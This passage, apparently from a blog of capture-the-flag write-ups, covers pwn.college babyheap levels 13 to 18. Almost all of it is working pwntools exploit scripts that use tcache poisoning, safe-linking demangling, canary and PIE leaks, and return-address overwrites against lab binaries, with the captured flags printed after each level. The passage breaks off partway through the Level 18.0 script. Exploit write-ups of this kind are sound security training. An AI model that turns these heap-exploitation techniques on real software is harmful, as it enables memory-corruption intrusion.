    )
79
    # raw_input("DEBUG")
80
    stack_scanf(payload)
81
    # raw_input("DEBUG")
82
    stack_free()
83

84
    free(0)
85
    # raw_input("DEBUG")
86
    puts(0)
87
    target.recvuntil(b"Data: ")
88
    stack = int.from_bytes(target.recvline().strip().ljust(0x8, b"\x00"), "little")
89
    target.success(f"stack: {hex(stack)}")
90

91
    malloc(0, 0x43)
92
    malloc(1, 0x43)
93
    free(1)
94
    free(0)
95
    # raw_input("DEBUG")
96
    scanf(0, p64(stack))
97
    malloc(0, 0x43)
98
    stack_malloc_win()
99
    quit()
100

101
    target.interactive()
102

103

104
if __name__ == "__main__":
105
    main()

Flag#

pwn.college{wIhhQLe35f_W9wFoYZAeO6TJPGe.0FN5MDL5cTNxgzW}

Level 13.0#

Information#

Category: Pwn

Description#

Leverage calling free() on a stack pointer to read secret data.

Write-up#

~~我们迎来了最简单的一集。~~

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "/challenge/babyheap_level13.0"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def malloc(idx, size):
22
    target.sendlineafter(b": ", b"malloc")
23
    target.sendlineafter(b"Index: ", str(idx).encode())
24
    target.sendlineafter(b"Size: ", str(size).encode())
25

26

27
def free(idx):
28
    target.sendlineafter(b": ", b"free")
29
    target.sendlineafter(b"Index: ", str(idx).encode())
30

31

32
def puts(idx):
33
    target.sendlineafter(b": ", b"puts")
34
    target.sendlineafter(b"Index: ", str(idx).encode())
35

36

37
def scanf(idx, data):
38
    target.sendlineafter(b": ", b"scanf")
39
    target.sendlineafter(b"Index: ", str(idx).encode())
40
    target.sendline(data)
41

42

43
def send_flag(secret):
44
    target.sendlineafter(b": ", b"send_flag")
45
    target.sendlineafter(b"Secret: ", str(secret).encode())
46

47

48
def stack_free():
49
    target.sendlineafter(b": ", b"stack_free")
50

51

52
def stack_scanf(data):
53
    target.sendlineafter(b": ", b"stack_scanf")
54
    target.sendline(data)
55

56

57
def quit():
58
    target.sendlineafter(b": ", b"quit")
59

60

61
def launch():
62
    global target
63
    if args.L:
64
        target = process(FILE)
65
    else:
66
        target = remote(HOST, PORT)
67

68

69
def main():
70
    launch()
71

72
    payload = flat(
73
        b"A" * 0x30,
74
        0,
75
        0x401,
76
    )
77

78
    stack_scanf(payload)
79
    stack_free()
80
    # raw_input("DEBUG")
81
    malloc(0, 0x3F0)
82

83
    payload = flat(
84
        b"A" * (0xB0),
85
    )
86
    raw_input("DEBUG")
87
    scanf(0, payload)
88

89
    send_flag("A" * 0x10)
90

91
    target.interactive()
92

93

94
if __name__ == "__main__":
95
    main()

Flag#

pwn.college{Yz7oh0MVsBoSFEkrl1pl76sH5l0.0VN5MDL5cTNxgzW}

Level 13.1#

Information#

Category: Pwn

Description#

Leverage calling free() on a stack pointer to read secret data.

Write-up#

参见 Level 13.0。

~~有时候我真的觉得自己在增加碳排放，但是我不想删了全改了，先将就沿袭一下传统吧，下次一定修改风格，下次一定（~~

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "/challenge/babyheap_level13.1"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def malloc(idx, size):
22
    target.sendlineafter(b": ", b"malloc")
23
    target.sendlineafter(b"Index: ", str(idx).encode())
24
    target.sendlineafter(b"Size: ", str(size).encode())
25

26

27
def free(idx):
28
    target.sendlineafter(b": ", b"free")
29
    target.sendlineafter(b"Index: ", str(idx).encode())
30

31

32
def puts(idx):
33
    target.sendlineafter(b": ", b"puts")
34
    target.sendlineafter(b"Index: ", str(idx).encode())
35

36

37
def scanf(idx, data):
38
    target.sendlineafter(b": ", b"scanf")
39
    target.sendlineafter(b"Index: ", str(idx).encode())
40
    target.sendline(data)
41

42

43
def send_flag(secret):
44
    target.sendlineafter(b": ", b"send_flag")
45
    target.sendlineafter(b"Secret: ", str(secret).encode())
46

47

48
def stack_free():
49
    target.sendlineafter(b": ", b"stack_free")
50

51

52
def stack_scanf(data):
53
    target.sendlineafter(b": ", b"stack_scanf")
54
    target.sendline(data)
55

56

57
def quit():
58
    target.sendlineafter(b": ", b"quit")
59

60

61
def launch():
62
    global target
63
    if args.L:
64
        target = process(FILE)
65
    else:
66
        target = remote(HOST, PORT)
67

68

69
def main():
70
    launch()
71

72
    payload = flat(
73
        b"A" * 0x30,
74
        0,
75
        0x401,
76
    )
77

78
    stack_scanf(payload)
79
    stack_free()
80
    # raw_input("DEBUG")
81
    malloc(0, 0x3F0)
82

83
    payload = flat(
84
        b"A" * (0xB0),
85
    )
86
    raw_input("DEBUG")
87
    scanf(0, payload)
88

89
    send_flag("A" * 0x10)
90

91
    target.interactive()
92

93

94
if __name__ == "__main__":
95
    main()

Flag#

pwn.college{AzMm2HpvBwKXfmMU3AoN5SEUd4H.0lN5MDL5cTNxgzW}

Level 14.0#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to obtain the flag.

Write-up#

有啥不一样吗？？我之前也是这么做的……

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "/challenge/babyheap_level14.0"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def malloc(idx, size):
22
    target.sendlineafter(b": ", b"malloc")
23
    target.sendlineafter(b"Index: ", str(idx).encode())
24
    target.sendlineafter(b"Size: ", str(size).encode())
25

26

27
def free(idx):
28
    target.sendlineafter(b": ", b"free")
29
    target.sendlineafter(b"Index: ", str(idx).encode())
30

31

32
def echo(idx, offset):
33
    target.sendlineafter(b": ", b"echo")
34
    target.sendlineafter(b"Index: ", str(idx).encode())
35
    target.sendlineafter(b"Offset: ", str(offset).encode())
36

37

38
def scanf(idx, data):
39
    target.sendlineafter(b": ", b"scanf")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.sendline(data)
42

43

44
def stack_free():
45
    target.sendlineafter(b": ", b"stack_free")
46

47

48
def stack_scanf(data):
49
    target.sendlineafter(b": ", b"stack_scanf")
50
    target.sendline(data)
51

52

53
def quit():
54
    target.sendlineafter(b": ", b"quit")
55

56

57
def launch():
58
    global target
59
    if args.L:
60
        target = process(FILE)
61
    else:
62
        target = remote(HOST, PORT)
63

64

65
def main():
66
    launch()
67

68
    payload = flat(
69
        b"A" * 0x30,
70
        0,
71
        0x401,
72
    )
73
    stack_scanf(payload)
74
    stack_free()
75

76
    malloc(0, 0x3F0)
77
    echo(0, 0x18)
78
    target.recvuntil(b"Data: ")
79
    pie = int.from_bytes(target.recvline().strip(), "little") - 0x22DD
80
    win = pie + 0x1A22
81

82
    echo(0, 0x49)
83
    target.recvuntil(b"Data: ")
84
    canary = int.from_bytes(target.recvline().strip().rjust(0x8, b"\x00"), "little")
85

86
    target.success(f"pie: {hex(pie)}")
87
    target.success(f"win: {hex(win)}")
88
    target.success(f"canary: {hex(canary)}")
89

90
    payload = flat(
91
        b"A" * 0x48,
92
        canary,
93
        0,
94
        win,
95
    )
96
    raw_input("DEBUG")
97
    scanf(0, payload)
98
    quit()
99

100
    target.interactive()
101

102

103
if __name__ == "__main__":
104
    main()

Flag#

pwn.college{wQRsnVfxcvBTDBM8-XLGPXFLyGF.01N5MDL5cTNxgzW}

Level 14.1#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to obtain the flag.

Write-up#

参见 Level 14.0。

IMPORTANT
Theres a golden meme, also, ask this man isspace。

~~总结，热心群友们个个都是谜语大师，相信他们给出的 tips 绝对是正确，够用的 xD~~

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "/challenge/babyheap_level14.1"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def malloc(idx, size):
22
    target.sendlineafter(b": ", b"malloc")
23
    target.sendlineafter(b"Index: ", str(idx).encode())
24
    target.sendlineafter(b"Size: ", str(size).encode())
25

26

27
def free(idx):
28
    target.sendlineafter(b": ", b"free")
29
    target.sendlineafter(b"Index: ", str(idx).encode())
30

31

32
def echo(idx, offset):
33
    target.sendlineafter(b": ", b"echo")
34
    target.sendlineafter(b"Index: ", str(idx).encode())
35
    target.sendlineafter(b"Offset: ", str(offset).encode())
36

37

38
def scanf(idx, data):
39
    target.sendlineafter(b": ", b"scanf")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.sendline(data)
42

43

44
def stack_free():
45
    target.sendlineafter(b": ", b"stack_free")
46

47

48
def stack_scanf(data):
49
    target.sendlineafter(b": ", b"stack_scanf")
50
    target.sendline(data)
51

52

53
def quit():
54
    target.sendlineafter(b": ", b"quit")
55

56

57
def launch():
58
    global target
59
    if args.L:
60
        target = process(FILE)
61
    else:
62
        target = remote(HOST, PORT)
63

64

65
def main():
66
    launch()
67

68
    payload = flat(
69
        b"A" * 0x30,
70
        0,
71
        0x401,
72
    )
73
    stack_scanf(payload)
74
    stack_free()
75

76
    malloc(0, 0x3F0)
77
    echo(0, 0x18)
78
    target.recvuntil(b"Data: ")
79
    pie = int.from_bytes(target.recvline().strip(), "little") - 0x1B8D
80
    win = pie + 0x1409 + 5
81

82
    echo(0, 0x49)
83
    target.recvuntil(b"Data: ")
84
    canary = int.from_bytes(target.recvline().strip().rjust(0x8, b"\x00"), "little")
85

86
    target.success(f"pie: {hex(pie)}")
87
    target.success(f"win: {hex(win)}")
88
    target.success(f"canary: {hex(canary)}")
89

90
    payload = flat(
91
        b"A" * 0x48,
92
        canary,
93
        0,
94
        win,
95
    )
96
    raw_input("DEBUG")
97
    scanf(0, payload)
98
    quit()
99

100
    target.interactive()
101

102

103
if __name__ == "__main__":
104
    main()

Flag#

pwn.college{89yuVXIylEt3d84DgpKZsDAT2ew.0FO5MDL5cTNxgzW}

Level 15.0#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to obtain the flag.

Write-up#

UAF 被 ban 又怎样？照样拿捏。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    p64,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/babyheap_level15.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def echo(idx, offset):
34
    target.sendlineafter(b": ", b"echo")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36
    target.sendlineafter(b"Offset: ", str(offset).encode())
37

38

39
def read(idx, size):
40
    target.sendlineafter(b": ", b"read")
41
    target.sendlineafter(b"Index: ", str(idx).encode())
42
    target.sendlineafter(b"Size: ", str(size).encode())
43

44

45
def quit():
46
    target.sendlineafter(b": ", b"quit")
47

48

49
def launch():
50
    global target
51
    if args.L:
52
        target = process(FILE)
53
    else:
54
        target = remote(HOST, PORT)
55

56

57
def main():
58
    launch()
59

60
    malloc(0, 0)
61
    echo(0, 0x28)
62

63
    target.recvuntil(b"Data: ")
64
    stack = int.from_bytes(target.recvline().strip(), "little")
65
    main_ret_addr = stack + 0x176
66

67
    echo(0, 0x50)
68
    target.recvuntil("Data: ")
69
    pie = int.from_bytes(target.recvline().strip(), "little") - 0x33F8
70
    win = pie + elf.sym["win"]
71

72
    target.success(f"stack: {hex(stack)}")
73
    target.success(f"pie: {hex(pie)}")
74
    target.success(f"win: {hex(win)}")
75

76
    malloc(0, 0)
77
    malloc(1, 0)
78
    malloc(2, 0)
79
    free(2)
80
    free(1)
81
    # raw_input("DEBUG")
82
    read(0, 0x1337)
83

84
    payload = flat(
85
        b"A" * 0x20,
86
        main_ret_addr,
87
    )
88
    target.sendline(payload)
89

90
    malloc(0, 0)
91
    # raw_input("DEBUG")
92
    malloc(0, 0)
93

94
    read(0, 0x1337)
95
    target.sendline(p64(win))
96
    quit()
97

98
    target.interactive()
99

100

101
if __name__ == "__main__":
102
    main()

Flag#

pwn.college{QyYR-Pj8vuLZgMayMcB0QHW1DKk.0VO5MDL5cTNxgzW}

Level 15.1#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to obtain the flag.

Write-up#

参见 Level 15.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    p64,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/babyheap_level15.1"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def echo(idx, offset):
34
    target.sendlineafter(b": ", b"echo")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36
    target.sendlineafter(b"Offset: ", str(offset).encode())
37

38

39
def read(idx, size):
40
    target.sendlineafter(b": ", b"read")
41
    target.sendlineafter(b"Index: ", str(idx).encode())
42
    target.sendlineafter(b"Size: ", str(size).encode())
43

44

45
def quit():
46
    target.sendlineafter(b": ", b"quit")
47

48

49
def launch():
50
    global target
51
    if args.L:
52
        target = process(FILE)
53
    else:
54
        target = remote(HOST, PORT)
55

56

57
def main():
58
    launch()
59

60
    malloc(0, 0)
61
    echo(0, 0x28)
62

63
    target.recvuntil(b"Data: ")
64
    stack = int.from_bytes(target.recvline().strip(), "little")
65
    main_ret_addr = stack + 0x176
66

67
    raw_input("DEBUG")
68
    echo(0, 0x50)
69
    target.recvuntil("Data: ")
70
    pie = int.from_bytes(target.recvline().strip(), "little") - 0x2110
71
    win = pie + elf.sym["win"]
72

73
    target.success(f"stack: {hex(stack)}")
74
    target.success(f"pie: {hex(pie)}")
75
    target.success(f"win: {hex(win)}")
76

77
    malloc(0, 0)
78
    malloc(1, 0)
79
    malloc(2, 0)
80
    free(2)
81
    free(1)
82
    # raw_input("DEBUG")
83
    read(0, 0x1337)
84

85
    payload = flat(
86
        b"A" * 0x20,
87
        main_ret_addr,
88
    )
89
    target.sendline(payload)
90

91
    malloc(0, 0)
92
    # raw_input("DEBUG")
93
    malloc(0, 0)
94

95
    read(0, 0x1337)
96
    target.sendline(p64(win))
97
    quit()
98

99
    target.interactive()
100

101

102
if __name__ == "__main__":
103
    main()

Flag#

pwn.college{sqd-yJZ1_DJOrzpwErrz-Y_4Jw1.0FMwQDL5cTNxgzW}

Level 16.0#

Information#

Category: Pwn

Description#

Revisit a prior challenge, now with TCACHE safe-linking.

Write-up#

Description 已经说的很清楚了，就是前面某个 challenge 的修订版，safe-linking 是 2.32 加入的，这个 chall 使用的是 2.35，但是区别不大，safe-linking 一直到现在最新的 2.42 都没怎么变过。

没学过 safe-linking 的可以看我写的解链之诗：堆上咒语的逆诵。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "/challenge/babyheap_level16.0"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def malloc(idx, size):
22
    target.sendlineafter(b": ", b"malloc")
23
    target.sendlineafter(b"Index: ", str(idx).encode())
24
    target.sendlineafter(b"Size: ", str(size).encode())
25

26

27
def free(idx):
28
    target.sendlineafter(b": ", b"free")
29
    target.sendlineafter(b"Index: ", str(idx).encode())
30

31

32
def puts(idx):
33
    target.sendlineafter(b": ", b"puts")
34
    target.sendlineafter(b"Index: ", str(idx).encode())
35

36

37
def scanf(idx, data):
38
    target.sendlineafter(b": ", b"scanf")
39
    target.sendlineafter(b"Index: ", str(idx).encode())
40
    target.sendline(data)
41

42

43
def send_flag(secret):
44
    target.sendlineafter(b": ", b"send_flag")
45
    target.sendlineafter(b"Secret: ", str(secret).encode())
46

47

48
def quit():
49
    target.sendlineafter(b": ", b"quit")
50

51

52
def mangle(pos, ptr, shifted=1):
53
    if shifted:
54
        return pos ^ ptr
55
    return (pos >> 12) ^ ptr
56

57

58
def demangle(pos, ptr, shifted=1):
59
    if shifted:
60
        return mangle(pos, ptr)
61
    return mangle(pos, ptr, 0)
62

63

64
def launch():
65
    global target
66
    if args.L:
67
        target = process(FILE)
68
    else:
69
        target = remote(HOST, PORT)
70

71

72
def main():
73
    launch()
74

75
    malloc(0, 0)
76
    malloc(1, 0)
77
    free(1)
78
    free(0)
79

80
    puts(0)
81
    target.recvuntil(b"Data: ")
82
    mangled = int.from_bytes(target.recvline().strip(), "little")
83

84
    puts(1)
85
    target.recvuntil(b"Data: ")
86
    pos = int.from_bytes(target.recvline().strip(), "little")
87
    heap = demangle(pos, mangled)
88

89
    secret = elf.bss() + 0x27B60
90
    secret_mangled_1 = mangle(pos, secret)
91
    secret_mangled_2 = mangle(pos, (secret - 0x8))
92

93
    target.success(f"pos: {hex(pos)}")
94
    target.success(f"mangled: {hex(mangled)}")
95
    target.success(f"heap: {hex(heap)}")
96
    target.success(f"secret: {hex(secret)}")
97
    target.success(f"secret_mangled_1: {hex(secret_mangled_1)}")
98
    target.success(f"secret_mangled_2: {hex(secret_mangled_2)}")
99

100
    scanf(0, flat(secret_mangled_1))
101
    malloc(0, 0)
102

103
    # the following malloc will be done 2 things:
104
    # 1/ zero out the last 8 bytes secret
105
    # 2/ let the first 8 bytes secret value to be the appropriate tcache bin's
106
    #    header
107
    malloc(0, 0)
108

109
    malloc(0, 0)
110
    # now the following free will use the value left on tcache bin header,
111
    # which is the secret value, to fill the fd
112
    free(0)
113
    puts(0)
114

115
    target.recvuntil(b"Data: ")
116
    secret_mangled = int.from_bytes(target.recv(8), "little")
117
    secret_demangled = demangle(pos, secret_mangled)
118
    target.success(f"secret_demangled: {hex(secret_demangled)}")
119

120
    secret = demangle(secret, secret_demangled, 0)
121
    target.success(f"secret: {hex(secret)}")
122

123
    send_flag(flat(secret, 0).decode())
124
    quit()
125

126
    target.interactive()
127

128

129
if __name__ == "__main__":
130
    main()

Flag#

pwn.college{MWVB7nml1ki-wvzXebiEIEuESuU.dhDO0MDL5cTNxgzW}

Level 16.1#

Information#

Category: Pwn

Description#

Revisit a prior challenge, now with TCACHE safe-linking.

Write-up#

参见 Level 16.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "/challenge/babyheap_level16.1"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def malloc(idx, size):
22
    target.sendlineafter(b": ", b"malloc")
23
    target.sendlineafter(b"Index: ", str(idx).encode())
24
    target.sendlineafter(b"Size: ", str(size).encode())
25

26

27
def free(idx):
28
    target.sendlineafter(b": ", b"free")
29
    target.sendlineafter(b"Index: ", str(idx).encode())
30

31

32
def puts(idx):
33
    target.sendlineafter(b": ", b"puts")
34
    target.sendlineafter(b"Index: ", str(idx).encode())
35

36

37
def scanf(idx, data):
38
    target.sendlineafter(b": ", b"scanf")
39
    target.sendlineafter(b"Index: ", str(idx).encode())
40
    target.sendline(data)
41

42

43
def send_flag(secret):
44
    target.sendlineafter(b": ", b"send_flag")
45
    target.sendlineafter(b"Secret: ", str(secret).encode())
46

47

48
def quit():
49
    target.sendlineafter(b": ", b"quit")
50

51

52
def mangle(pos, ptr, shifted=1):
53
    if shifted:
54
        return pos ^ ptr
55
    return (pos >> 12) ^ ptr
56

57

58
def demangle(pos, ptr, shifted=1):
59
    if shifted:
60
        return mangle(pos, ptr)
61
    return mangle(pos, ptr, 0)
62

63

64
def launch():
65
    global target
66
    if args.L:
67
        target = process(FILE)
68
    else:
69
        target = remote(HOST, PORT)
70

71

72
def main():
73
    launch()
74

75
    malloc(0, 0)
76
    malloc(1, 0)
77
    free(1)
78
    free(0)
79

80
    puts(0)
81
    target.recvuntil(b"Data: ")
82
    mangled = int.from_bytes(target.recvline().strip(), "little")
83

84
    puts(1)
85
    target.recvuntil(b"Data: ")
86
    pos = int.from_bytes(target.recvline().strip(), "little")
87
    heap = demangle(pos, mangled)
88

89
    secret = elf.bss() + 0x1CE90
90
    secret_mangled_1 = mangle(pos, secret)
91
    secret_mangled_2 = mangle(pos, (secret - 0x8))
92

93
    target.success(f"pos: {hex(pos)}")
94
    target.success(f"mangled: {hex(mangled)}")
95
    target.success(f"heap: {hex(heap)}")
96
    target.success(f"secret: {hex(secret)}")
97
    target.success(f"secret_mangled_1: {hex(secret_mangled_1)}")
98
    target.success(f"secret_mangled_2: {hex(secret_mangled_2)}")
99

100
    scanf(0, flat(secret_mangled_1))
101
    malloc(0, 0)
102

103
    # the following malloc will be done 2 things:
104
    # 1/ zero out the last 8 bytes secret
105
    # 2/ let the first 8 bytes secret value to be the appropriate tcache bin's
106
    #    header
107
    malloc(0, 0)
108

109
    malloc(0, 0)
110
    # now the following free will use the value left on tcache bin header,
111
    # which is the secret value, to fill the fd
112
    free(0)
113
    puts(0)
114

115
    target.recvuntil(b"Data: ")
116
    secret_mangled = int.from_bytes(target.recv(8), "little")
117
    secret_demangled = demangle(pos, secret_mangled)
118
    target.success(f"secret_demangled: {hex(secret_demangled)}")
119

120
    secret = demangle(secret, secret_demangled, 0)
121
    target.success(f"secret: {hex(secret)}")
122

123
    send_flag(flat(secret, 0).decode())
124
    quit()
125

126
    target.interactive()
127

128

129
if __name__ == "__main__":
130
    main()

Flag#

pwn.college{ktet0NEaj6TQuRma_FkmhYKm5rq.dlDO0MDL5cTNxgzW}

Level 17.0#

Information#

Category: Pwn

Description#

Revisit a prior challenge, now with TCACHE safe-linking.

Write-up#

泄漏了代码段地址和栈地址，但是不能直接分配到返回地址，如果分配到 RBP 也不行，执行 malloc_usable_size(ptr[n0xF_3]) 的时候会把 canary 当作 size，然后 SIGSEGV，继续往前分配的话，就不得不泄漏 canary 了，但因为输入函数是 scanf，所以泄漏 canary 好像也成为了不可能。

不过我们不难发现，它泄漏的这个栈地址就是 ptr[16] 的地址，那就很好办了，直接在里面写返回地址的栈地址，然后使用 scanf 对保持返回地址的那项进行写入。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "/challenge/babyheap_level17.0"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def malloc(idx, size):
22
    target.sendlineafter(b": ", b"malloc")
23
    target.sendlineafter(b"Index: ", str(idx).encode())
24
    target.sendlineafter(b"Size: ", str(size).encode())
25

26

27
def free(idx):
28
    target.sendlineafter(b": ", b"free")
29
    target.sendlineafter(b"Index: ", str(idx).encode())
30

31

32
def puts(idx):
33
    target.sendlineafter(b": ", b"puts")
34
    target.sendlineafter(b"Index: ", str(idx).encode())
35

36

37
def scanf(idx, data):
38
    target.sendlineafter(b": ", b"scanf")
39
    target.sendlineafter(b"Index: ", str(idx).encode())
40
    target.sendline(data)
41

42

43
def quit():
44
    target.sendlineafter(b": ", b"quit")
45

46

47
def mangle(pos, ptr, shifted=1):
48
    if shifted:
49
        return pos ^ ptr
50
    return (pos >> 12) ^ ptr
51

52

53
def demangle(pos, ptr, shifted=1):
54
    if shifted:
55
        return mangle(pos, ptr)
56
    return mangle(pos, ptr, 0)
57

58

59
def launch():
60
    global target
61
    if args.L:
62
        target = process(FILE)
63
    else:
64
        target = remote(HOST, PORT)
65

66

67
def main():
68
    launch()
69

70
    target.recvuntil(b"[LEAK] The local stack address of your allocations is at: ")
71
    stack = int(target.recvline().strip()[:-1], 16)
72
    ret = stack + 0x118
73

74
    target.recvuntil(b"[LEAK] The address of main is at: ")
75
    elf.address = int(target.recvline().strip()[:-1], 16) - 0x1B1B
76

77
    target.success(f"stack: {hex(stack)}")
78
    target.success(f"pie: {hex(elf.address)}")
79

80
    malloc(0, 0)
81
    malloc(1, 0)
82
    free(1)
83
    free(0)
84

85
    puts(1)
86
    target.recvuntil(b"Data: ")
87
    pos = int.from_bytes(target.recvline().strip(), "little")
88

89
    puts(0)
90
    target.recvuntil(b"Data: ")
91
    mangled = int.from_bytes(target.recvline().strip(), "little")
92
    heap = demangle(pos, mangled)
93

94
    target.success(f"pos: {hex(pos)}")
95
    target.success(f"mangled: {hex(mangled)}")
96
    target.success(f"heap: {hex(heap)}")
97

98
    stack_mangled = mangle(pos, stack)
99
    scanf(0, flat(stack_mangled))
100

101
    raw_input("DEBUG")
102
    malloc(0, 0)
103
    malloc(0, 0)
104

105
    payload = flat(
106
        stack,
107
        ret,
108
    )
109
    scanf(0, payload)
110

111
    scanf(1, flat(elf.sym["win"]))
112
    quit()
113

114
    target.interactive()
115

116

117
if __name__ == "__main__":
118
    main()

Flag#

pwn.college{wMAyk806GbwvQXzo8CWgpFdlih0.dBTO0MDL5cTNxgzW}

Level 17.1#

Information#

Category: Pwn

Description#

Revisit a prior challenge, now with TCACHE safe-linking.

Write-up#

参见 Level 17.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "/challenge/babyheap_level17.1"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def malloc(idx, size):
22
    target.sendlineafter(b": ", b"malloc")
23
    target.sendlineafter(b"Index: ", str(idx).encode())
24
    target.sendlineafter(b"Size: ", str(size).encode())
25

26

27
def free(idx):
28
    target.sendlineafter(b": ", b"free")
29
    target.sendlineafter(b"Index: ", str(idx).encode())
30

31

32
def puts(idx):
33
    target.sendlineafter(b": ", b"puts")
34
    target.sendlineafter(b"Index: ", str(idx).encode())
35

36

37
def scanf(idx, data):
38
    target.sendlineafter(b": ", b"scanf")
39
    target.sendlineafter(b"Index: ", str(idx).encode())
40
    target.sendline(data)
41

42

43
def quit():
44
    target.sendlineafter(b": ", b"quit")
45

46

47
def mangle(pos, ptr, shifted=1):
48
    if shifted:
49
        return pos ^ ptr
50
    return (pos >> 12) ^ ptr
51

52

53
def demangle(pos, ptr, shifted=1):
54
    if shifted:
55
        return mangle(pos, ptr)
56
    return mangle(pos, ptr, 0)
57

58

59
def launch():
60
    global target
61
    if args.L:
62
        target = process(FILE)
63
    else:
64
        target = remote(HOST, PORT)
65

66

67
def main():
68
    launch()
69

70
    target.recvuntil(b"[LEAK] The local stack address of your allocations is at: ")
71
    stack = int(target.recvline().strip()[:-1], 16)
72
    ret = stack + 0x148
73

74
    target.recvuntil(b"[LEAK] The address of main is at: ")
75
    elf.address = int(target.recvline().strip()[:-1], 16) - 0x151B
76

77
    target.success(f"stack: {hex(stack)}")
78
    target.success(f"pie: {hex(elf.address)}")
79

80
    malloc(0, 0)
81
    malloc(1, 0)
82
    free(1)
83
    free(0)
84

85
    puts(1)
86
    target.recvuntil(b"Data: ")
87
    pos = int.from_bytes(target.recvline().strip(), "little")
88

89
    puts(0)
90
    target.recvuntil(b"Data: ")
91
    mangled = int.from_bytes(target.recvline().strip(), "little")
92
    heap = demangle(pos, mangled)
93

94
    target.success(f"pos: {hex(pos)}")
95
    target.success(f"mangled: {hex(mangled)}")
96
    target.success(f"heap: {hex(heap)}")
97

98
    stack_mangled = mangle(pos, stack)
99
    scanf(0, flat(stack_mangled))
100

101
    raw_input("DEBUG")
102
    malloc(0, 0)
103
    malloc(0, 0)
104

105
    scanf(0, flat(ret))
106
    scanf(0, flat(elf.sym["win"]))
107
    quit()
108

109
    target.interactive()
110

111

112
if __name__ == "__main__":
113
    main()

Flag#

pwn.college{I8R8BzpNtgq5LKv4UV3QhQYfU3h.dFTO0MDL5cTNxgzW}

Level 18.0#

Information#

Category: Pwn

Description#

Revisit a prior challenge, now with TCACHE safe-linking.

Write-up#

这题就出的不好了，根本没用上 safe-linking 。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "/challenge/babyheap_level18.0"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def malloc(idx, size):
22
    target.sendlineafter(b": ", b"malloc")
23
    target.sendlineafter(b"Index: ", str(idx).encode())
24
    target.sendlineafter(b"Size: ", str(size).encode())
25

26

27
def free(idx):
28
    target.sendlineafter(b": ", b"free")
29
    target.sendlineafter(b"Index: ", str(idx).encode())
30

31

32
def puts(idx):
33
    target.sendlineafter(b": ", b"puts")
34
    target.sendlineafter(b"Index: ", str(idx).encode())
35

36

37
def scanf(idx, data):
38
    target.sendlineafter(b": ", b"scanf")
39
    target.sendlineafter(b"Index: ", str(idx).encode())
40
